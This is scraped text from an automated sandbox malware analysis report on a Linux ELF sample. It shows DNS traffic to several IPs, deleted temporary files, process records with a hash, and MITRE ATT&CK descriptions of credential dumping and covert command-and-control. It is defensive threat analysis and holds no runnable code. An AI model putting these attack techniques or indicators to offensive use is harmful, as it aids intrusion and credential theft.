LOAD	0xa228	0x1001a228	0x1001a228	0x178	0x1310	0.7236	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 08:02:44.862684965 CET	54662	53	192.168.2.23	152.53.15.127
Oct 28, 2024 08:02:44.890377998 CET	53	54662	152.53.15.127	192.168.2.23
Oct 28, 2024 08:02:45.919143915 CET	51435	53	192.168.2.23	168.235.111.72
Oct 28, 2024 08:02:46.007039070 CET	53	51435	168.235.111.72	192.168.2.23
Oct 28, 2024 08:02:57.394848108 CET	52161	53	192.168.2.23	194.36.144.87
Oct 28, 2024 08:02:57.405255079 CET	53	52161	194.36.144.87	192.168.2.23
Oct 28, 2024 08:03:09.277923107 CET	48667	53	192.168.2.23	168.235.111.72
Oct 28, 2024 08:03:09.370685101 CET	53	48667	168.235.111.72	192.168.2.23
Oct 28, 2024 08:03:21.214349031 CET	36410	53	192.168.2.23	168.235.111.72
Oct 28, 2024 08:03:21.313199043 CET	53	36410	168.235.111.72	192.168.2.23
Oct 28, 2024 08:03:33.163124084 CET	57349	53	192.168.2.23	51.158.108.203
Oct 28, 2024 08:03:33.179002047 CET	53	57349	51.158.108.203	192.168.2.23
Oct 28, 2024 08:03:34.193706036 CET	35935	53	192.168.2.23	202.61.197.122
Oct 28, 2024 08:03:34.204873085 CET	53	35935	202.61.197.122	192.168.2.23
Oct 28, 2024 08:03:46.027035952 CET	33265	53	192.168.2.23	81.169.136.222
Oct 28, 2024 08:03:46.056430101 CET	53	33265	81.169.136.222	192.168.2.23
Oct 28, 2024 08:03:57.901173115 CET	38715	53	192.168.2.23	152.53.15.127
Oct 28, 2024 08:03:57.912134886 CET	53	38715	152.53.15.127	192.168.2.23
Oct 28, 2024 08:04:09.285351038 CET	50507	53	192.168.2.23	81.169.136.222
Oct 28, 2024 08:04:09.314973116 CET	53	50507	81.169.136.222	192.168.2.23
Oct 28, 2024 08:04:10.330693960 CET	41626	53	192.168.2.23	168.235.111.72
Oct 28, 2024 08:04:10.423507929 CET	53	41626	168.235.111.72	192.168.2.23

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.09HUje (deleted)

/tmp/qemu-open.2vTRnf (deleted)

/tmp/qemu-open.33Yw1d (deleted)

/tmp/qemu-open.3cRqne (deleted)

/tmp/qemu-open.3gN0wf (deleted)

/tmp/qemu-open.4NvMNb (deleted)

/tmp/qemu-open.4lNxvc (deleted)

/tmp/qemu-open.4ofi3f (deleted)

/tmp/qemu-open.6JxOne (deleted)

/tmp/qemu-open.74fCbd (deleted)

/tmp/qemu-open.7Ou95f (deleted)

/tmp/qemu-open.80jeVf (deleted)

/tmp/qemu-open.81nlzc (deleted)

/tmp/qemu-open.8TITid (deleted)

/tmp/qemu-open.8howVb (deleted)

/tmp/qemu-open.9pMhsf (deleted)

/tmp/qemu-open.BWdu7d (deleted)

/tmp/qemu-open.Bfyukc (deleted)

/tmp/qemu-open.BjsGpc (deleted)

/tmp/qemu-open.C7aH4b (deleted)

/tmp/qemu-open.CsAKdd (deleted)

/tmp/qemu-open.DiLy7e (deleted)

/tmp/qemu-open.Donj6f (deleted)

/tmp/qemu-open.F2eOHf (deleted)

/tmp/qemu-open.FNaQqf (deleted)

/tmp/qemu-open.FPkJYb (deleted)

/tmp/qemu-open.G940yd (deleted)

/tmp/qemu-open.GEJKof (deleted)

/tmp/qemu-open.GFuCac (deleted)

/tmp/qemu-open.GN9hHe (deleted)

/tmp/qemu-open.GoBHMc (deleted)

/tmp/qemu-open.HIIgzd (deleted)

/tmp/qemu-open.ImdDPb (deleted)

/tmp/qemu-open.JBZICe (deleted)

Linux Analysis Report
nabppc.elf

Start time (UTC):	07:02:42
Start date (UTC):	28/10/2024
Path:	/tmp/nabppc.elf
Arguments:	/tmp/nabppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	07:02:43
Start date (UTC):	28/10/2024
Path:	/tmp/nabppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	07:02:44
Start date (UTC):	28/10/2024
Path:	/tmp/nabppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre